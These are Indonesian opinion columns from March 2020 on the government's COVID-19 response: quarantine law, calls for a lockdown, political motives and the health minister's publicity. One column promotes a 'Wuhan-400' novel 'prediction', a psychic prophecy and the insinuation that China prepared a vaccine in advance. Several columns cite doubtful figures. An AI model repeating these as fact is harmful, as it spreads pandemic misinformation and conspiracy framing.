(2) mengatur dalam menyelenggarakan kekarantinaan kesehatan sebagaimana dimaksud pada ayat (1) Pemerintah Pusat dapat melibatkan Pemerintah Daerah. Kapan Pemerintah Pusat menunaikan perintah yang terkandung dalam pasal 5 di atas? Menurut ayat (3) Pasal 10 UU ini, Pemerintah Pusat harus terlebih dahulu menilai keadaan kesehatan masyarakat. Dalam penilaian ini, Pemerintah Pusat harus memastikan jenis penyakit, pola endemik dan faktor risiko yang dapat menimbulkan kedaruratan kesehatan masyarakat. Masalahnya sekarang adalah apakah skema tindakan pemerintahan menurut UU ini diikuti Presiden? Sejauh ini tidak tersedia berita yang menunjukan pemerintah telah melakukan penilaian atas wabah dan penyakit berikut risikonya. Tetapi harus diakui, dalam kenyataannya pemerintah telah melakukan tindakan yang dalam sifatnya memastikan jenis pernyakit dan risiko yang ditimbulkan. Apa konsekuensinya? Cukup alasan hukum Pemerintah Pusat menetapkan, dalam makna menyatakan keadaan kesehatan masyarakat berstatus darurat kesehatan. Penetapan ini harus memiliki bentuk hukum. Bentuk hukumnya bisa berupa Keputusan Presiden. Isinya menyatakan keadaan masyarakat di wilayah tertentu misalnya berstatus Kedaruratan Kesehatan Masyarakat. Pernyataan itu menjadi dasar Pemerintah Pusatr melakukan tindakan teknis yang diperlukan menurut UU ini. Apa tindakan teknisnya? Menurut pasal 15 ayat (1) tindakan yang harus dilakukan Pemerintah Pusat adalah melakukan kekerantinaan kesehatan di pintu masuk dan di wilayah melalui kegiatan pengamatan penyakit dan faktor risiko Kesehatan Masyarakat terhadap alat angkut, orang, barang, dan/atau lingkungan serta respon terhadap kedaruratan Kesehatan Masyarakat dalam bentuk tindakan Kekarantinaan Kesehatan. Sayangnya, sejauh ini Pemerintah Pusat tidak menyatakan keadaan kedaruratan kesehatan masyarakat. Tetapi pemerintah melakukan tindakan-tindakan pemerintahan, yang sifatnya sama dengan menilai dan mengidentifikasi jenis penyakit “virus” dan risiko yang ditimbulkannya. Itu terlihat. Salah satunya, pemerintah melakukan tindakan isolasi warga Indonesia yang kembali dari China dan Jepang. Mereka ditempakan di pulau Natuna dan Sebaru. Apakah tindakan itu dapat dikategorikan menurut UU ini sebagai tindakan karantina? Jawabannya ya, sebagai tindakan karantina. Menurut pasal 15 ayat (2) tindakan kekarantinaan kesehatan sebagaimana dimaksud pada ayat (1) berupa: a. karantina, isolasi, pemberian vaksinasi atau profilaksis, rujukan, disinfeksi, dan/atau dekontaminasi terhadap orang sesuai indikasi. b. Pembatasan Sosial Berskala Besar. c. disinfeksi, dekontaminasi, disinseksi, dan/atau deratisasi terhadap alat Angkut dan Barang; dan/atau d. penyehatan, pengamanan dan pengendalian terhadap media lingkungan. Dalam rangka melakukan tindakan mitigasi faktor risiko di wilayah pada status kedaruratan kesehatan masyarakat, dilakukan karantina rumah, karantina wilayah, karantina rumah sakit atau pembatasan sosial berskala besar oleh pejabat karantina kesehatan. Khusus pembatasan sosial berskala besar, menarik mengenali pengaturan dalam pasal 59. Pada ayat (1) pasal ini mengatur pembatasan Sosial Berskala Besar merupakan bagian dari respon kedauratan kesehatan masyarakat. Ayat (2) Pembatasan sosial berskala besar bertujuan mencegah penyebaran penyakit kedarutan kesehatan masyarakat yang sedang terjadi antar orang di satu wilayah. Menurut ayat (3) pasal ini Pembatasan Sosial Berskala Besar sebagaimana dimaksud pada ayat (1) paling sedikit meliputi: a. peliburan sekolah dan tempat kerja. b.pembatasan kegiatan keagamaan; dan/atau c. pembatasan kegiatan ditempat atau fasilitas umum. Faktanya sebagian dari tindakan ini telah terjadi di Jakarta, dilakukan oleh gubernur, bukan presiden. Bagaimana teknis pelaksanaannya? Menurut pasal 60 UU ini teknis pelaksanaannya diatur lebih lanjut dengan Peraturan Pemerintah atau PP. Mungkin PP yang diperintahkan pasal ini dapat disifatkan sebagai protokol penanganan. Perihal PP, juga diperintahkan pasal-pasal lain. Bahkan pasal lain juga memerintahkan Peraturan Menteri. Apakah PP dan Peraturan Menteri dimaksud telah tersedia? Bila PP dan Peraturan Menteri yang diperintahkan pembentukannya tersedia, dapat disifatkan sebagai protokol, maka penanganan terhadap virus ini dapat dilakukan secara sistimatis, terukur dan menjanjikan ketenangan masyarakat. Dapat dipastikan terjadi koneksi dan sinerji produktif antara Pemerintah Pusat dengan daerah. Bagaimana bila protokol itu belum tersedia? Pemerintah Pusat hanya perlu bertindak layaknya pemerintah, berpijak sebisa mungkin pada UU ini. Dengan begitu maka dapat tercipta sinergi Pemerintah Pusat dengan Pemerintah Daerah. Saya tidak tahu, apakah protokol itu telah tersedia atau belum. Faktanya, terlihat Pemerintah Pusat dan Pemerintah Daerah bekerja sendiri-sendiri. Apa sebenarnya yang mengakibatkan pemerintah tak kunjung menyatakan kedaruratan Kesehatan Masyarakat? Sulit ditemukan nalarnya. Tetapi harus diakui pernyataan itu memiliki konsekuensi hokum yang juga berat. Pasal-pasal 52, 53 dan 55 UU ini jelas mengatur konsekuensinya. Menurut pasal-pasal ini, dalam hal pemerintah menetapkan Kedaruratan Kesehatan Masyarakat diikuti dengan penetapan, misalnya karantina wilayah, Pembatasan Berskala Besar atau karantina Rumah, maka muncullah sejumlah konsekuensinya. Konsekuensi, salah satunya Pemerintah Pusat memikul atau menanggung seluruh biaya kebutuhan hidup dasar bagi orang dan makanan hewan ternak di wilayah yang terkarantina. Bahkan terdapat konsekuensi lainnya. Pemerintah harus menyediakan semua fasilitas kesehatan dan membebaskan masyarakat dari biaya, apapun untuk penyembuhan atau identifikasi kesehatan mereka. Tidak logis, dalam situasi kedaruratan kesehatan masyarakat, pemerintah membebani biaya kepada masyarakat. Berat memang konsekuensinya. Itu sebabnya Presiden mungkin memiliki kesulitan untuk mempertimbangkan tindakan deklarasi Kedaruratan Kesehatan Masyarakat. Sebab secara normatif, pernyataan kedaruratan kesehatan masyarakat dari Presiden bersifat imperatif menurut UU ini. Tetapi harus diakui, suka atau tidak, Presiden harus memperhitungkan efeknya terhadap kehidupan ekonomi dan ketersediaan anggaran. Pentingkah pertimbangan itu? Jelas penting. Sama pentingnya dengan memastikan rakyat tidak terus terkapar virus mematikan ini. Apalagi sampai nyawa mereka harus melayang. Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate

Virus China Lebih Menakutkan Dibanding Flu Burung

Oleh Mangarahon Dongoran Apakah masih menunggu makin banyak rakyat yang jadi korban baru melakukan lockdown? Ya, rakyat butuh tindakan nyata, bukan bualan dengan menyodorkan jamu atau susu kuda liar yang semakin liar. Jakarta, FNN - LIMA belas tahun yang lalu, tepatnya Selasa sore 12 Juli 2005, seorang auditor Badan Pemeriksa Keuangan (BPK), Iwan Siswara Rafei meninggal dunia karena flu burung. Hampir seluruh koran menjadikannya sebagai berita utama. Iwan meninggal dunia di sebuah rumah sakit swasta di Tangerang setelah beberapa hari dirawat sekembali bertugas dari Hongkong dan India. Di rumah sakit yang sama, juga dirawat anak keduanya yang bernama Sabrina Nurul Aisyah, di ICU. Keduanya dirawat dengan gejala yang sama. Sebelum Iwan meninggal dunia, putrinya yang masih balita, Thalita Nurul Azizah, meninggal pada Sabtu 9 Juli 2005, di ICU RS Harapan Kita, Jakarta. Sehari setelah kepergian Iwan, atau Kamis 14 Juli 2005, Sabrina yang dirawat di ICU akhirnya menghadap Sang Khalik. Itu artinya tiga orang dalam satu keluarga yang tinggal di Villa Melati Mas Serpong, Tangerang itu menjadi korban pertama flu burung di Indonesia. Saat peristiwa itu terjadi saya ditugaskan kantor untuk meliput ke rumah duka. Padahal, peristiwa itu lebih pada liputan kesehatan, sedangkan saya lebih banyak bertugas di bidang ekonomi dan politik, meskipun pernah meliput di Departemen Kesehatan (sekarang Kementerian Kesehatan). Pertimbangannya ada dua. Pertama, "Pikiran Rakyat" Bandung tempat saya bekerja ketinggalan pemberitaannya di hari pertama (koran lain sudah menjadikannya berita utama). Padahal, ada kiriman berita dari Biro Jakarta, tapi redakturnya tidak menurunkannya. Akibatnya, pagi-pagi menurut Kepala Biro Jakarta, Satrio Widianto, ia dimarahi Pemred PR Yoyo Siswaya Adiredja. Karena itu, selesai dimarahi lewat telefon, Satrio menghubungi saya agar melakukan peliputan sebaik mungkin untuk menutupi ketinggalan itu. Saya harus membuat laporan dalam bentuk berita yang dijadikan berita utama dan juga pop news. Pertimbangan kedua, karena saya juga tinggal di daerah Tangerang. Jarak dari rumah saya ke rumah duka kurang lebih 6 km. Ya, Rabu 13 Juli 2005, saya sudah berada di lokasi. Saya ingin memberitakan selengkap mungkin. Saya wawancarai tetangga Iwan. Juga saya wawancara jamaah masjid di villa tersebut, karena Iwan juga menjadi jamaahnya. Hampir sepekan saya bolak-balik ke rumah duka tanpa sedikit pun rasa khawatir dan was-was. Apalagi, saat meliput, rumah duka juga didatangi Menteri Kesehatan Siti Fadilah Supari. Seingat saya, Menkes yang datang beserta rombongan tidak memakai masker. Padahal, flu burung selain bisa terjangkit dari burung (termasuk ayam), juga bisa menular dari manusia. Saya sama sekali tidak memakai masker. Membeli makanan dan minuman di sekitar rumah duka saya lakukan seperti biasa. Tidak ada sedikit pun rasa khawatir. Padahal, yang kena flu burung waktu itu juga terus bertambah dengan penyebaran di berbagai wilayah Indonesia. Kini, virus corona sedang mewabah. Rasa khawatir saya sangat tinggi. Upaya melindungi saya dan keluarga saya lakukan. Ya, saya tidak tahu mengapa rasa khawatir itu tinggi. Apakah karena penyebarannya yang begitu cepat dan ganas atau karena sudah ada korban meninggal dunia di Pondok Aren, Banten yang jaraknya sekitar 6 kilometer dari rumah saya. Virus corona atau Covid-19 sedang menjadi penyakit yang mewabah di berbagai belahan dunia. Awalnya, penyakit yang disebut berasal dari kelelawar itu mewabah di kota Wuhan, RR China pada awal tahun ini. Penularannya yang cepat membuat pemerintah komunis China mengunci Wuhan, sehingga praktis menjadi kota mati. Lockdown yang diterapkan di Wuhan ternyata tidak mampu membendung penyebaran Virus China itu. Covid-19, tidak hanya menyebar cepat di Wuhan, tetapi beberapa daerah lainnya di China. Tidak hanya di China. Virus tersebut akhirnya menjalar ke beberapa negara, seperti Korea Selatan, Iran, Israel, Italia, Singapura, Malaysia dan termasuk Indonesia. Ada negara yang belum terimbas Covid-19, tapi sudah melakukan antisipasi lebih awal dengan tidak membolehkan warga asing masuk ke negaranya dan melarang warga negaranya keluar melancong. Arab Saudi, misalnya, telah melakukan langkah antisipasi lebih awal. Sejak 28 Februari 2020, negara kerajaan ini telah menyetop atau menghentikan pelayanan Visa Umroh dan Turis. Hingga sekarang, Tanah Suci masih belum bisa dikunjungi umat Islam yang ingin melaksanakan Ibadah Umroh. Lalu bagaimana dengan Indonesia? Apakah pemerintahnya sudah melakukan langkah antisipasi sejak awal? Jika dirunut, tentu tidak. Yang melakukan langkah antisipasi justru pemerintah daerah, terutama DKI Jakarta. Sedangkan pemerintah pusat menganggap virus China ini persoalan kecil yang bisa diatasi dengan mudah dan enteng. Misalnya, dengan minum jamu, minum susu kuda liar, seperti yang dianjurkan Presiden dan Wakil Presiden. Buktinya, 49 WNA China masih bisa melenggang masuk melalui Thailand (setelah dikarantina 14 hari), lewat Bandara Sukarno-Hatta kemudian terbang ke Kendari, Sulawesi Tenggara. Bahkan, Menko Maritim Luhut B. Panjaitan masih membela mati-matian bahwa kedatangan mereka legal. Sedangkan Staf Khusus Menteri Tenaga Kerja dan Transmigrasi, Dita Indah Sari menyebutkan 49 WNA China itu ilegal dan harus dideportasi. Ilegal karena tidak memiliki izin kerja, melainkan izin sebagai turis. Dalam konteks wabah Covid-19, bukan semata-mata legal dan ilegal yang dipersoalkan. Walaupun legal dan mereka membawa surat keterangan bebas Covid-19, mestinya pemerintah melarang mereka masuk. Mestinya Presiden Joko Widodo memerintahkan menterinya agar tidak membolehkan pendatang dari China masuk ke Indonesia. Apakan surat keterangan sehat itu menjamin bahwa mereka benar-benar sehat dan bersih dari wabah ini? Apakah ada jaminan mereka tidak tertular lagi setelah mengantongi surat bebas Covid-19? Saya kira tidak ada jaminan, karena vaksin Covid-19 juga belum ada yang diumumkan secara resmi oleh Organisasi Kesehatan Dunia (World Healt Organization/WHO). Katanya sih sudah ada vaksinnya belakangan ini, tetapi sepanjang WHO belum mengumumkan secara resmi, vaksin itu belum bisa dipertanggungjawabkan keampuhannya. Korban Berjatuhan Masyarakat masih menunggu sikap pemerintah untuk melakukan lockdown. Sebab, masyarakat khawatir Covid-19 semakin mengganas dan memakan korban jiwa terus-menerus. Faktanya, sejak Joko Widodo mengumumkan pertama kali pada Senin, 2 Maret 2020 ada dua warga yang terkena Covid-19, jumlah korban terus bertambah. Sebelum pengumuman pun sebenarnya sudah santer kabar yang menyebutkan ada warga Indonesia yang tertular Covid-19. Jika mengacu pada keterangan pemerintah, wabah ini semakin mengerikan karena jumlah korban meninggal dunia yang bertambah cepat. Sampai Kamis, 19 Maret 2020 pukul 12.00, jumlah penderita Covid-19 yang meninggal dunia sudah 25 orang. Angkanya melonjak dari sehari sebelumnya yang berjumlah 9 orang. Sedangkan yang positif tertular virus corona menjadi 309 orang. Dengan angka 25 orang meninggal dunia, praktis selama 17 hari, rata-rata korban virus China ini 1,4 jiwa per hari sejak diumumkan kasus pertama pada 2 Maret 2020. Adapun penyebaran 25 korban meninggal dunia adalah; Bali satu orang, Banten satu orang, DKI Jakarta 17 orang, Jawa Barat satu orang, Jawa Tengah tiga orang, Jawa Timur satu orang dan Sumatera Utara satu orang. Ya, Virus China ini sangat menakutkan dan mengerikan. Dengan melihat angka korban yang terus bertambah, apakah Presiden Joko Widodo masih tidak mau melakukan lockdown? Atau masih menunggu semakin banyak rakyat yang menjadi korban, baru mengambil langkah lockdown? Ya, rakyat menunggu tindakan nyata, bukan bualan dengan menyodorkan jamu semata atau susu kuda liar yang semakin liar. ** Penulis, Wartawan Senior

Pandemi Corona: Terinspirasi Kisah Fiksi atau Buah Akal-akalan China?

Oleh Mochamad Toha Jakarta, FNN - Pada 2011 lalu Amerika Serikat telah membuat film berjudul “Contagion” yang dibintangi oleh Matt Damon, Jude Law, Gwyneth Paltrow, dan Kate Winslet. Film ini bercerita tentang Coronavirus yang isinya kurang lebih persis dengan kejadian saat ini. Sebuah film Amerika yang dirilis 9 tahun lalu itu berbicara tentang Coronavirus yang mulai menyebar dari China ke seluruh dunia! Hal yang paling aneh adalah bahwa pada akhir film ternyata penyebab infeksi adalah kelelawar. “Dengan alasan yang sama bahwa penyakit ini menyebar sekarang!” kata Direktur Eksekutif The Global Future Institute (GFI) Prof. Hendrajit. Tak hanya film saja yang bercerita tentang Virus Corona atau COVID-19 itu. Ada sebuah buku yang diterbitkan pada 1981, mungkin hanya “meramalkan” wabah pandemi yang sedang dihadapi dunia pada 2020. Yang membuat heboh, “ramalan” itu ternyata tidak meleset sama sekali! World of Buzz mengutip SCMP yang baru-baru ini memposting sebuah artikel tentang buku berjudul The Eyes of Darkness yang berbicara tentang laboratorium militer China di Provinsi Wuhan, China. Dikutip dari tulisan tersebut, laboratorium itu menciptakan virus sebagai bagian dari program senjata biologisnya. Bagian menakutkan dari kisah ini adalah virus itu bernama Wuhan-400, yang menunjuk pada Covid-19 yang pertama kali berasal dari Wuhan, China. Pertanyaannya, mungkinkah buku ini murni kebetulan atau penulisnya menulis “ramalan” itu sejak 39 tahun yang lalu? Sebuah buku yang diterbitkan pada 1981 mungkin awalnya hanya “meramalkan” wabah pandemi yang sedang dihadapi dunia pada 2020! Penulis asal AS, Dean Koontz, menulis tentang seorang ibu bernama Christina Evans yang melakukan perjalanan untuk mengetahui nasib putranya, Danny, apakah masih hidup atau meninggal selama berkemah. Dia kemudian berhasil melacak anaknya ke fasilitas militer tempatnya ditahan setelah secara tidak sengaja terinfeksi mikroorganisme buatan manusia yang dibuat di pusat penelitian di Wuhan. Kutipan dari buku tersebut menunjukkan percakapan antara Christina dan seorang pria di laboratorium tempat putranya ditahan: “Saya tidak tertarik dengan filosofi atau moralitas perang biologis,” ujar Tina. “Saat ini aku hanya ingin tahu bagaimana Danny bisa berada di tempat ini.” “Untuk memahami itu,” jawab Dombey, “Anda harus kembali dua puluh bulan.” Pada saat itulah seorang ilmuwan China bernama Li Chen membelot ke AS, membawa rekaman disket tentang senjata biologis baru paling penting dan berbahaya dari China pada dekade terakhir. Mereka menyebut barang-barang itu “Wuhan-400” karena dikembangkan di laboratorium RDNA mereka di luar Kota Wuhan, dan itu adalah strain mikroorganisme buatan manusia yang terdiri dari empat ratus yang dibuat di pusat penelitian. Pusat penelitian yang dibicarakan buku ini bisa merujuk ke Institut Virologi Wuhan, yang merupakan tempat satu-satunya laboratorium biosafety level empat di China. Laboratorium ini memiliki klasifikasi laboratorium tingkat tertinggi yang mempelajari virus paling mematikan dan terletak 32 km dari tempat Covid-19 saat ini pertama kali pecah. “Anda mungkin pernah mendengar teori konspirasi bahwa Covid-19 adalah buatan manusia dan kemungkinan besar telah keluar dari laboratorium virologi Wuhan. Namun, teori ini telah ditolak secara luas,” tulisnya. Kutipan lebih lanjut dari buku ini mengungkapkan virus sebagai “senjata sempurna” karena tidak dapat bertahan di luar host selama lebih dari satu menit. “Wuhan-400 adalah senjata yang sempurna. Itu hanya menimpa manusia. Tidak ada makhluk hidup lain yang bisa membawanya. Dan seperti sifilis, Wuhan-400 tidak dapat bertahan hidup di luar tubuh manusia yang hidup selama lebih dari satu menit.” “Yang berarti, ia tidak dapat mencemari objek secara permanen atau seluruh tempat seperti yang dapat dilakukan antraks dan mikroorganisme ganas lainnya,” demikian kutipan di buku itu. “Dan ketika tuan rumah virus kedaluwarsa, Wuhan-400 dengan sendirinya lenyap sesaat kemudian, begitu suhu mayat turun di bawah delapan puluh enam derajat Fahrenheit. Apakah Anda melihat keuntungan dari semua ini?” Pengacara Albert Wan, yang mengelola toko Bleak House Books di San Po Kong, mengatakan bahwa Wuhan dikenal sebagai tempat berbagai fasilitas penelitian ilmiah. Menurutnya, penulis cerdas seperti Koontz akan mengetahui semua ini dan menggunakan sedikit informasi faktual ini untuk menyusun cerita yang meyakinkan dan meresahkan. “Itu karena Wuhan-400,” kata Wan. Dean Koontz bukan satu-satunya penulis yang “memprediksi” wabah Covid-19. Menurut The Sun Daily, penulis Amerika Sylvia Browne menerbitkan sebuah buku pada 2008 berjudul End of Days: Predictions and Prophecies About the End of the World. Buku tersebut juga bicara tentang penyakit terkait pernafasan yang akan menyebar di seluruh dunia. Buku ini bahkan menyebutkan bahwa itu akan terjadi pada 2020. “Pada sekitar tahun 2020, penyakit seperti pneumonia yang parah akan menyebar ke seluruh dunia, menyerang paru-paru dan saluran bronkial dan menolak semua perawatan yang ada,” begitu tulis buku ini. “Hampir lebih membingungkan daripada penyakit itu sendiri adalah fakta bahwa penyakit itu akan tiba-tiba menghilang begitu saja, menyerang lagi 10 tahun kemudian, dan kemudian menghilang sepenuhnya,” demikian buku itu. Tidak salah kalau Presiden AS Donald Trump sempat menuding, Covis-19 itu sebagai virus buatan China, dan Trump menyebutnya dengan nama “Virus China”. Ini yang membuat China meradang, dan menuding justru virus ini buatan AS. Vaksin Corona Melansir Viva.co.id, Rabu (18 Maret 2020 | 15:02 WIB), ada kabar baik di balik bencana mewabahnya Virus Corona di dunia. China mengaku sudah berhasil melakukan penelitian dan menemukan vaksin untuk menyembuhkan virus ini. Vaksin obat corona itu ditemukan dalam penelitian yang dilakukan Akademi Epidemiologi yang dipimpin ilmuwan bernama Chen Wei. Hal itu diungkapkan duta besar China untuk Riyadh, Chen Weiqing, Rabu 18 Maret 2020. Menurutnya, informasi yang diterimanya ilmuwan China telah melakukan penelitian klinis dan tinggal melakukan percobaan terhadap manusia saja. Chen menuturkan, vaksin yang ditemukan dipastikan sudah sesuai dengan standar kualitas yang ditetapkan internasional. Hal itu cukup menggembirakan, karena setelah diuji kepada manusia, vaksin obat corona akan dapat diproduksi secara massal. Perlu diketahui, China merupakan negara tempat pertama kali corona ditemukan. Lebih dari 80 ribu penduduk China terinfeksi virus ini dan 3 ribu orang telah meninggal dunia. Meski begitu 67 ribu lebih berhasil disembuhkan. Sampai saat ini tak cuma China yang mengklaim telah menemukan vaksin corona, Amerika juga telah mengklaim hal yang sama. Malahan Israel telah jauh-jauh hari mengeluarkan klaim menemukan vaksi obat corona. Sementara dari data Coronavirus Covid-19 Global Cases by the Center for Systems Science and Engineering (CSSE) at Johns Hopkins University, hingga saat ini sudah 198 ribu orang di dunia yang terinfeksi corona, hampir 8 ribu meninggal dunia dan 81 ribu sembuh. Mengutip Indozone.id, Rabu (18 Maret 2020 10:22 WIB), China memamerkan suka cita karena mampu mengatasi virus corona di pusat wabah, Kota Wuhan. Para dokter yang bertugas menangani pasien terjangkit virus corona pun membuat perayaan pada Minggu (15/3/2020). Tak hanya itu. Rumah sakit sementara yang sengaja dibangun untuk mengatasi pasien corona pun ditutup. Dalam video yang banyak beredar di medsos dan telah dilihat jutaan kali secara online itu, para pekerja melepaskan masker mereka satu per satu saat kamera melewati mereka, untuk menandai momen tersebut seperti yang dilaporkan The Independent. Sebelumnya pada awal Februari lalu, pemerintah China telah membangun 14 rumah sakit baru dalam waktu singkat. Semua RS itu dikhususkan untuk tempat merawat pasien Covid-19. Dari 14 rumah sakit itu, dua di antaranya ada di Wuhan. Perayaan itu juga dilakukan karena penutupan RS itu menandakan adanya penurunan jumlah kasus baru di China dari wabah yang sudah ditetapkan sebagai pandemi oleh WHO itu. Pada Sabtu, para pimpinan di sektor kesehatan mengatakan, hanya ada 13 kematian baru dan hanya ada 11 kasus baru. Kasus ini termasuk kasus import (imported cases), yang terdeteksi pada orang-orang yang baru datang dari negara-negara lain yang terkena dampak. Secara total per Rabu (18/3/2020), jumlah kasus infeksi virus corona di China ada sebanyak 80.894 kasus dengan 3.237 kematian dan 69.614 sembuh. Secara global, ada 194.412 kasus dengan 7.984 kematian dan 82.762 orang sembuh, tulis Worldometers info coronavirus. China memang terbilang sukses tangani virus Corona. Mungkinkah sebelum virus corona ini mewabah, China sudah menyiapkan Vaksin anti Corona juga? *** Penulis wartawan senior.

Mengapa Jokowi Tidak (Belum) Mau Lockdown?

Oleh Hersubeno Arief Jakarta, FNN - Pemerintah pusat sampai saat ini memutuskan tidak akan melakukan lockdown. “Berpikir ke arah itu pun tidak,” kata Presiden Jokowi. Namun melihat eskalasi penyebaran virus, cepat atau lambat langkah semacam itu mau tidak mau, suka tidak suka berani tidak berani, harus diambil. Setidaknya di Jakarta. Apakah namanya pembatasan pergerakan, penutupan perbatasan, sampai pembatasan pergerakan secara total. Pokoknya harus ada langkah konkrit membatasi pergerakan manusia, agar tidak terjadi penularan virus corona. Gubernur DKI Anies Baswedan sudah menyatakan akan mengambil langkah agresif perang terhadap corona. Mengapa Jokowi keukeh dengan sikapnya. Padahal korban mulai berjatuhan? Sampai saat ini data resmi yang positif 309 orang dan meninggal dunia 25 orang. Prosentase kematian di Indonesia menjadi tertinggi di dunia, 8%. Para tenaga medis sudah secara terbuka menyatakan tak akan sanggup menangani, bila sampai terjadi ledakan jumlah korban yang terpapar virus? Sikap gamang Jokowi ini urusannya tak jauh-jauh dari power strugle. Perjuangan mempertahankan kekuasaan. Ada kekhawatiran yang sangat besar di internal Jokowi, krisis ini akan berdampak pada krisis konstitusi. Jokowi harus benar-benar menimbang dan berhati-hati. Kalau salah langkah yang terjadi bukan hanya lockdown, tapi malah stepdown. Turun dari jabatan. Pertimbangan utamanya pada aspek ekonomi dan sosial yang akan berdampak serius pada aspek politik. Secara ekonomi dampak dari lockdown sangat serius. Dalam negara yang secara ekonomi normal dan sehat-sehat saja, virus corona bikin babak belur. Apalagi dengan perekonomian Indonesia yang fundamentalnya rapuh. Katakanlah hanya dilakukan lockdown di Jakarta, namun dampaknya terhadap perekonomian nasional tetap akan sangat serius. Ketika bicara Jakarta, berarti kita juga bicara daerah-daerah sekitarnya yang sering disebut sebagai megapolitan Jabodetabek. Kawasan Bogor, Depok, Bekasi, dan Tangerang sebagian akan terdampak secara langsung. Porsi Jakarta terhadap perekonomian nasional sebesar 75%. Peredaran uang terbesar juga wilayah ini. Ekonomi Jakarta mandek, ekonomi nasional juga mandek. Total jumlah penduduk di Jabodetabek sekitar 30 juta. Pemerintah harus memastikan ketersediaan stok pangan selama lockdown berlangung. Satu bulan, dua bulan atau bahkan tiga bulan. Tidak cukup hanya tersedia stok pangan. Persoalan berikutnya bagaimana bahan pangan itu bisa terdistribusi dengan baik, dan sampai secara merata kepada yang membutuhkan. Belajar dari pengalaman sebelumnya, ketika terjadi krisis selalu ada kelompok-kelompok, maupun perorangan yang mencoba mengambil keuntungan. Yang harus benar-benar dipikirkan, puncak penyebaran corona diprediksi akan terjadi pada awal bulan Ramadhan. Saat kebutuhan pasok pangan meningkat tinggi. Bagaimana dengan nasib para pekerja sektor informal. Tukang ojek, buruh, pedagang kecil, sopir angkot dll. Mereka hanya bisa makan kalau mereka bekerja. Bekerja hari ini, untuk makan hari ini. Pemerintah harus menyiapkan semacam bantuan langsung tunai yang jumlahnya tidak sedikit. Jelas itu akan sangat membebani anggaran pemerintah yang saat ini telah mengalami defisit cukup parah, dan utang negara yang kian menggunung. Belum lagi persoalan ikutan lainnya. Seorang sopir online mengirim surat terbuka kepada Jokowi, bagaimana nasib kredit mobil mereka bila sampai tidak bekerja. Perusahaan leasing akan menarik mobil mereka. Padahal pada mobil itulah periuk nasi mereka bergantung. “Bagi kami dan jutaan rekan-rekan pengemudi lebih takut mati kelaparan daripada mati karena Covid 19. Mati kelaparan lebih menyakitkan dan memalukan Pak,” tulis sopir bernama Ganda Silalahi itu. Berbagai persoalan ekonomi, terutama menyangkut nasib perut rakyat kecil itu bila tidak bisa diselesaikan dengan baik akan berdampak sosial serius. Kejahatan meningkat, konflik horisontal dan tidak menutup kemungkinan terjadi kerusuhan sosial. Perut lapar tak bisa menunggu. Perut lapar tak bisa kompromi. Perpaduan antara ekonomi negara yang kolaps, ketidakpuasan publik, dan munculnya kerusuhan sosial bisa berdampak serius secara politik. Ujung-ujungnya adalah tuntutan mundur Jokowi. Hal itu benar-benar harus dihindari. Karena itu lah para buzzer pemerintah kompak menyerang siapapun yang menyuarakan pentingnya lockdown. Termasuk ketika ada pendukung Jokowi yang menyerukan lockdown. Langsung hajar tanpa ampun. Kalkulasi ekonomi, sosial dan politik itu lah yang membuat Jokowi seperti mengulur waktu, melakukan conditioning, sambil berharap pada nasib baik. Siapa tahu karena Tuhan sayang kepada bangsa Indonesia, tiba-tiba penyebaran virus corona berhenti dengan sendirinya. Coba perhatikan di media sosial. Para die hard Jokower di seluruh dunia bersatu padu —dalam dan luar negeri— mencari kambing hitam. Sasarannya siapa lagi kalau bukan Gubernur DKI Anies Baswedan. Mereka menggoreng isu Anies sebagai pejabat yang menyebar ketakutan ke publik. Potongan pernyataan Anies bahwa pembatasan transportasi umum di Jakarta sebagai pesan efek kejut bagi warga Jakarta, disebar secara massif. Sejumlah pendukung Jokowi juga berencana berunjukrasa ke Balaikota DKI. Dengan mendiskreditkan Anies mereka setidaknya akan mendapat dua keuntungan. Pertama, mendapat kambing hitam. Sasaran tembak beralih dari Jokowi ke Anies. Kedua, berhasil mendowngrade Anies yang saat ini mendapat panggung gemerlap karena kesigapannya menangani virus corona. Masalahnya sampai kapan Jokowi bisa bertahan tidak melakukan lockdown, atau apapun namanya? Jika terjadi ledakan jumlah yang positif corona —tanda-tanda dan kalkulasinya sudah sangat jelas— maka dipastikan ongkos politik yang harus dibayar Jokowi jauh lebih mahal. Sangat mahal malah. End Penulis wartawan senior.

Apakah Menkes Sedang Buat Kontes Virus Corona?

By Asyari Usman Jakarta, FNN - Agak susah juga menggambarkan tindakan Menteri Kesehatan Terawan Agus Putranto yang memamerkan tiga pasien eks-positif Corona. Yang dipamerkan adalah kasus 01, kasus 02 dan kasus 03. Terawan berfoto bersama ketiganya di depan para wartawan sambil menyerahkan jamu racikan Jokowi. Apa tujuan Pak Menteri? Apakah kita sedang menyelenggearakan kontes virus Corona? Kontes siapa yang bisa bertahan? Untuk mencari juara 1, juara 2, juara 3? Kalau tujuan Terawan memamerkan mereka untuk meyakinkan rakyat bahwa Corona tidak berarti maut, itu berarti beliau merasa orang lain tidak bisa mencerna statistik Corona. Mungkin Terawan menganggap orang lain tak tau tentang persentase kesembuhan Corona di seluruh dunia. Cukuplah kesembuhan ketiga eks-positif itu diberitakan secara natural oleh media massa. Apa adanyna saja. Tidak harus ketiganya diolah dulu oleh tim tatarias supaya tampilan kesembuhannya semakin gembira-ria. Bagaimanapun juga kesembuhan itu adalah berita penting. Pastilah disiarkan. Terawan lupa bahwa persoalannya bukan sembuh atau tidak. Yang dicemaskan orang adalah, apakah mereka akan tertular atau tidak? Apakah mereka bisa mendapatkan perawatan yang standar atau tidak? Dan, apakah Corona akan menyebabkan puluhan ribu orang terjangkit atau tidak? Bahwa per hari ini 80,200 orang sembuh dari 202,000 kasus positif Corona di dunia, semua orang tahu. Orang juga tahu kasus 01, kasus 02 dan kasus 03 sembuh. Orang pun tahu si kasus 01 sempat marah-marah karena identitas pribadi dirinya dan ibunya sempat tersiar akibat kecerobohan pemerintah. Jadi, tidaklah terlalu perlu memajang foto pasien Corona sembuh di media massa. Terasa berlebihan. Overdosis. Kesembuhan itu bukanlah prestasi jabatan. Bukan juga hasil kontes. Semoga Pak Terawan tidak merasa ancaman Corona sudah reda setelah tiga selebriti itu lolos.[] 18 Maret 2020 Penulis wartawan senior.

Berpulangnya Jhon Titaley, Anak Ambon Penjual Kopi Keliling

